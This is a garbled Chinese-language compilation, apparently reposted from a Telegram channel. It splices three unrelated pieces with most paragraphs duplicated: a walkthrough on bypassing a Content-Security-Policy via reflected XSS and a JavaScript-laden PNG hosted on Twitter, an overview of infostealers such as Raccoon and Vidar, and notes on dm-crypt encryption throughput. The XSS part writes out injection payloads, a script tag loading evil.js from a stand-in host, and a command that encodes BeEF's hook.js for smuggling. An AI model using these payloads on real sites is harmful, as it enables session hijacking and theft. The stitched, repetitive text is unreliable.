如您所见,该应用程序使用 Content-Security-Policy,允许来自“self”和 Twitter 的图像,并允许来自“self”、“inline”和“eval”的 JavaScript。不幸的是,许多网站配置script-src指令允许 unsafe-inline 和 unsafe-eval 以避免误报。此外,许多网站将整个域列入白名单,而不是将特定资源列入白名单。
如果您认为这种配置很少见,并且没有人在 script-src 指令上使用“unsafe-inline”和“unsafe-eval”,那您就错了。根据最近对 Alexa Top 1m 的抓取,似乎有超过 5000 个网站在 script-src 或 default-src 指令上使用带有“unsafe-inline”和“unsafe-eval”的 Content-Security-Policy
该漏洞存在于lang查询字符串参数中,该参数未对用户输入进行清理,从而导致 HTML 注入和反射型 XSS。要利用此测试 Web 应用程序上的 XSS 漏洞,我需要注入 HTML 语法来关闭src属性并添加 SCRIPT 标记,然后注入 JavaScript 代码,例如?lang="><script>alert(1)</script>。
现在我需要绕过 CSP 并导入类似?lang="><script+src="//example.com/evil.js"></script>被 CSP 阻止的外部 JavaScript 库
如果您认为这种配置很少见,并且没有人在 script-src 指令上使用“unsafe-inline”和“unsafe-eval”,那您就错了。根据最近对 Alexa Top 1m 的抓取,似乎有超过 5000 个网站在 script-src 或 default-src 指令上使用带有“unsafe-inline”和“unsafe-eval”的 Content-Security-Policy
该漏洞存在于lang查询字符串参数中,该参数未对用户输入进行清理,从而导致 HTML 注入和反射型 XSS。要利用此测试 Web 应用程序上的 XSS 漏洞,我需要注入 HTML 语法来关闭src属性并添加 SCRIPT 标记,然后注入 JavaScript 代码,例如?lang="><script>alert(1)</script>。
现在我需要绕过 CSP 并导入类似?lang="><script+src="//example.com/evil.js"></script>被 CSP 阻止的外部 JavaScript 库
利用:绕过 CSP
正如我之前所说,为了利用测试 Web 应用程序,我需要将 HTML 语法注入 IMG 标签中,以src使用类似的方式关闭属性?lang="><script>alert(1)</script>。
要包含来自 Twitter 的远程图像,我只需发送此请求:
/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+id=%22jsimg%22%3E%3Ca+href=%22
红色部分是我们的恶意 PNG 图像的 Twitter URL。蓝色部分是id注入的属性,以便更容易选择 IMG 标签。绿色部分是 A 标签,仅用于防止破坏 HTML 语法。现在我需要注入几行 JavaScript 来将图像转换为外部 JavaScript 库并绕过 CSP
正如我之前所说,为了利用测试 Web 应用程序,我需要将 HTML 语法注入 IMG 标签中,以src使用类似的方式关闭属性?lang="><script>alert(1)</script>。
要包含来自 Twitter 的远程图像,我只需发送此请求:
/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+id=%22jsimg%22%3E%3Ca+href=%22
红色部分是我们的恶意 PNG 图像的 Twitter URL。蓝色部分是id注入的属性,以便更容易选择 IMG 标签。绿色部分是 A 标签,仅用于防止破坏 HTML 语法。现在我需要注入几行 JavaScript 来将图像转换为外部 JavaScript 库并绕过 CSP
将 PNG/JS 上传至 Twitter
经过一些测试,我发现当上传的图片太小时,Twitter 会报错。所以我用了一长段 JavaScript 代码(包括随机注释)来创建一个更大的图片
经过一些测试,我发现当上传的图片太小时,Twitter 会报错。所以我用了一长段 JavaScript 代码(包括随机注释)来创建一个更大的图片
发送整个有效负载时,我收到执行错误,getImageData并显示消息“画布已被跨源数据污染”
由于画布位图中的像素可能来自各种来源,包括从其他主机检索的图像或视频,因此不可避免地会出现安全问题。只要您在画布上绘制任何未经 CORS 批准从其他来源加载的数据,画布就会被污染。被污染的画布不再被视为安全,任何从画布检索图像数据的尝试都会导致抛出异常。如果外部内容的来源是 HTML<img>或 SVG<svg>元素,则不允许尝试检索画布的内容
由于画布位图中的像素可能来自各种来源,包括从其他主机检索的图像或视频,因此不可避免地会出现安全问题。只要您在画布上绘制任何未经 CORS 批准从其他来源加载的数据,画布就会被污染。被污染的画布不再被视为安全,任何从画布检索图像数据的尝试都会导致抛出异常。如果外部内容的来源是 HTML<img>或 SVG<svg>元素,则不允许尝试检索画布的内容
This media is not supported in your browser
VIEW IN TELEGRAM
转换 BeEF hook.js
这是将 BeEF 的 hook.js 转换为 PNG 图像的测试。BeEF 是一个浏览器利用框架,一个专注于 Web 浏览器的渗透测试工具(您可以在BeEF 的网站上找到更多信息)。我首先用 base64 对其进行编码curl -s 'http://localhost:3000/hook.js' | base64 -w0,然后创建如前所示的图像。
这是将 BeEF 的 hook.js 转换为 PNG 图像的测试。BeEF 是一个浏览器利用框架,一个专注于 Web 浏览器的渗透测试工具(您可以在BeEF 的网站上找到更多信息)。我首先用 base64 对其进行编码curl -s 'http://localhost:3000/hook.js' | base64 -w0,然后创建如前所示的图像。
信息窃取者:概述
什么是信息窃取者?
信息窃取程序是一种恶意软件,其目的是侵入计算机系统并从受感染的设备中获取有价值的信息。这些恶意软件程序会秘密运行(某些恶意软件可能会弹出窗口或明显影响系统性能),以收集敏感数据。
总之,信息窃取程序是一种从计算机秘密窃取机密信息的恶意软件。
我们的计算机中隐藏了大量敏感信息 - 浏览器中的密码、带有连接令牌的cookie、保存有敏感信息的文件(您认为有多少人保存了以“密码”或“私人”等名称命名的文本文件?)、带有恢复密钥的PDF、包含银行信息的Word文档 - 仅举了几例。
一些更具体的信息
感染计算机后,信息窃取者会使用以下各种技术(包括但不限于)来获取数据。这些技术包括:
票据:票据是重要的目标,为犯罪分子提供了访问计算机最快、最简单的方法。这些被盗票据用于浏览器中的登录链接中的收集存储、用户名甚至密码。
Cookies:Cookies使恶意行为者能够访问已登录会话,绕过MFA/2FA等安全措施。
文档和文本文件:信息窃取者发现并瞄准包含机密信息(如财务、知识产权、服务器密码和加密私钥)的高风险文件。
特定于机器的属性:这些属性包括计算机名称、操作系统、IP 地址、感染日期和途径,以及现有的防病毒软件和已安装的应用程序。这是他们进行侦察的方式!
什么是信息窃取者?
信息窃取程序是一种恶意软件,其目的是侵入计算机系统并从受感染的设备中获取有价值的信息。这些恶意软件程序会秘密运行(某些恶意软件可能会弹出窗口或明显影响系统性能),以收集敏感数据。
总之,信息窃取程序是一种从计算机秘密窃取机密信息的恶意软件。
我们的计算机中隐藏了大量敏感信息 - 浏览器中的密码、带有连接令牌的cookie、保存有敏感信息的文件(您认为有多少人保存了以“密码”或“私人”等名称命名的文本文件?)、带有恢复密钥的PDF、包含银行信息的Word文档 - 仅举了几例。
一些更具体的信息
感染计算机后,信息窃取者会使用以下各种技术(包括但不限于)来获取数据。这些技术包括:
票据:票据是重要的目标,为犯罪分子提供了访问计算机最快、最简单的方法。这些被盗票据用于浏览器中的登录链接中的收集存储、用户名甚至密码。
Cookies:Cookies使恶意行为者能够访问已登录会话,绕过MFA/2FA等安全措施。
文档和文本文件:信息窃取者发现并瞄准包含机密信息(如财务、知识产权、服务器密码和加密私钥)的高风险文件。
特定于机器的属性:这些属性包括计算机名称、操作系统、IP 地址、感染日期和途径,以及现有的防病毒软件和已安装的应用程序。这是他们进行侦察的方式!
反检测功能:一些机器人框架包含反虚拟机功能,以便在虚拟环境中运行时逃避检测,并包含自毁机制以在执行后消除痕迹
全家福
从技术上讲,信息窃取者是一种恶意软件,我们通常将其视为一种产品(例如购买办公套件或照片编辑程序),从技术上讲,它是一种恶意软件即服务 (MaaS),因为人们可以支付130 至 750 美元购买 Vidar 信息窃取者,例如,根据许可证,从供应商处购买。但人们通常也将其称为自己的实体、家族、分销商、经销商、市场、活动和威胁行为者。在这里,我将从两个方面讨论信息窃取者,而不是关注它是恶意软件还是威胁行为者。
全家福
从技术上讲,信息窃取者是一种恶意软件,我们通常将其视为一种产品(例如购买办公套件或照片编辑程序),从技术上讲,它是一种恶意软件即服务 (MaaS),因为人们可以支付130 至 750 美元购买 Vidar 信息窃取者,例如,根据许可证,从供应商处购买。但人们通常也将其称为自己的实体、家族、分销商、经销商、市场、活动和威胁行为者。在这里,我将从两个方面讨论信息窃取者,而不是关注它是恶意软件还是威胁行为者。
狸
Raccoon Infostealer 于 2019 年 4 月首次被发现,是一种流行且有效的恶意软件即服务 (MaaS)。Raccoon 针对各种敏感信息,例如登录凭据、信用卡详细信息、cookie、浏览器历史记录和自动填充信息。Raccoon 用 C++ 编写,采用模块化方法感染 32 位和 64 位 Windows 系统,使用进程注入技术劫持合法进程(如 explorer.exe)并获得提升的权限。
Raccoon 特别危险的原因在于其全面的数据收集能力。该恶意软件会收集详细的系统信息,包括操作系统架构、版本、系统语言、硬件详细信息和已安装的应用程序。如果攻击者的配置启用了此功能,它还可以捕获屏幕截图。Raccoon 针对每个目标应用程序遵循标准程序:查找和复制包含敏感数据的缓存文件,提取和加密信息,并将其存储在其主操作目录中。收集数据后,Raccoon 会将所有被盗信息压缩为一个 zip 文件,并将其泄露到其命令和控制 (C2) 服务器,通常使用 Telegraph 或 Discord 进行 C2 操作
Raccoon Infostealer 于 2019 年 4 月首次被发现,是一种流行且有效的恶意软件即服务 (MaaS)。Raccoon 针对各种敏感信息,例如登录凭据、信用卡详细信息、cookie、浏览器历史记录和自动填充信息。Raccoon 用 C++ 编写,采用模块化方法感染 32 位和 64 位 Windows 系统,使用进程注入技术劫持合法进程(如 explorer.exe)并获得提升的权限。
Raccoon 特别危险的原因在于其全面的数据收集能力。该恶意软件会收集详细的系统信息,包括操作系统架构、版本、系统语言、硬件详细信息和已安装的应用程序。如果攻击者的配置启用了此功能,它还可以捕获屏幕截图。Raccoon 针对每个目标应用程序遵循标准程序:查找和复制包含敏感数据的缓存文件,提取和加密信息,并将其存储在其主操作目录中。收集数据后,Raccoon 会将所有被盗信息压缩为一个 zip 文件,并将其泄露到其命令和控制 (C2) 服务器,通常使用 Telegraph 或 Discord 进行 C2 操作
加密静态数据
在加密静态数据方面,现代操作系统 (OS) 有多种方法可以实现。可用的技术与典型的 OS 存储堆栈紧密结合
堆栈顶部是应用程序,它们在文件(或流)中读取和写入数据。操作系统内核中的文件系统会跟踪底层块设备的哪些块属于哪些文件,并将这些文件读取和写入转换为块读取和写入,但是底层存储设备的硬件细节已从文件系统中抽象出来。最后,块子系统实际上使用适当的设备驱动程序将块读取和写入传递给底层硬件。
在加密静态数据方面,现代操作系统 (OS) 有多种方法可以实现。可用的技术与典型的 OS 存储堆栈紧密结合
堆栈顶部是应用程序,它们在文件(或流)中读取和写入数据。操作系统内核中的文件系统会跟踪底层块设备的哪些块属于哪些文件,并将这些文件读取和写入转换为块读取和写入,但是底层存储设备的硬件细节已从文件系统中抽象出来。最后,块子系统实际上使用适当的设备驱动程序将块读取和写入传递给底层硬件。
测量吞吐量
在存储测试/基准测试方面,灵活的 I/O 测试器是常用的解决方案。让我们在不加密的情况下模拟 ramdisk 上具有 4K 块大小的简单顺序读/写负载
上述命令将运行很长时间,因此我们过一会儿就停止它。从统计数据中我们可以看到,我们能够以大致相同的吞吐量进行读写1126 MB/s。让我们用加密的 ramdisk 重复测试
哇,速度下降了!我们~147 MB/s现在只能得到现在的速度,速度慢了 7 倍以上!而且这是在一台完全空闲的机器上!
在存储测试/基准测试方面,灵活的 I/O 测试器是常用的解决方案。让我们在不加密的情况下模拟 ramdisk 上具有 4K 块大小的简单顺序读/写负载
上述命令将运行很长时间,因此我们过一会儿就停止它。从统计数据中我们可以看到,我们能够以大致相同的吞吐量进行读写1126 MB/s。让我们用加密的 ramdisk 重复测试
哇,速度下降了!我们~147 MB/s现在只能得到现在的速度,速度慢了 7 倍以上!而且这是在一台完全空闲的机器上!
深入源代码
当尝试使用dm-crypt上面描述的自定义选项时,我们很好奇它们为什么会存在,以及“卸载”到底是怎么回事。最初我们期望dm-crypt它是一个简单的“代理”,它只是在数据流经堆栈时对其进行加密/解密。结果发现dm-crypt它的作用不仅仅是加密内存缓冲区,下面给出了一个(简化的)IO 遍历路径图
当文件系统发出写入请求时,dm-crypt不会立即处理它 - 而是将其放入名为“kcryptd”的工作队列 中。简而言之,内核工作队列只是安排一些工作(在本例中为加密)在以后更方便的时候执行。当“时间”到来时,将请求发送到Linux Crypto API进行实际加密。但是,现代 Linux Crypto API也是异步的,因此根据您的系统将使用哪种特定实现,很可能不会立即处理它,而是再次排队等待“稍后”。当 Linux Crypto API 最终进行加密时,可能会尝试通过将每个请求放入红黑树中来对待处理的写入请求进行排序。然后,一个单独的内核线程再次在“稍后”实际获取树中的所有 IO 请求并将它们发送到堆栈下方。dm-crypt dm-crypt
现在对于读取请求:这次我们需要先从硬件获取加密数据,但dm-crypt不仅仅是向驱动程序请求数据,而是将请求排队到名为“kcryptd_io”的另一个工作队列 中。稍后,当我们真正拥有加密数据时,我们会使用现在熟悉的“kcryptd”工作队列安排它进行解密。“kcryptd”将请求发送到 Linux Crypto API,后者也可能异步解密数据。
当尝试使用dm-crypt上面描述的自定义选项时,我们很好奇它们为什么会存在,以及“卸载”到底是怎么回事。最初我们期望dm-crypt它是一个简单的“代理”,它只是在数据流经堆栈时对其进行加密/解密。结果发现dm-crypt它的作用不仅仅是加密内存缓冲区,下面给出了一个(简化的)IO 遍历路径图
当文件系统发出写入请求时,dm-crypt不会立即处理它 - 而是将其放入名为“kcryptd”的工作队列 中。简而言之,内核工作队列只是安排一些工作(在本例中为加密)在以后更方便的时候执行。当“时间”到来时,将请求发送到Linux Crypto API进行实际加密。但是,现代 Linux Crypto API也是异步的,因此根据您的系统将使用哪种特定实现,很可能不会立即处理它,而是再次排队等待“稍后”。当 Linux Crypto API 最终进行加密时,可能会尝试通过将每个请求放入红黑树中来对待处理的写入请求进行排序。然后,一个单独的内核线程再次在“稍后”实际获取树中的所有 IO 请求并将它们发送到堆栈下方。dm-crypt dm-crypt
现在对于读取请求:这次我们需要先从硬件获取加密数据,但dm-crypt不仅仅是向驱动程序请求数据,而是将请求排队到名为“kcryptd_io”的另一个工作队列 中。稍后,当我们真正拥有加密数据时,我们会使用现在熟悉的“kcryptd”工作队列安排它进行解密。“kcryptd”将请求发送到 Linux Crypto API,后者也可能异步解密数据。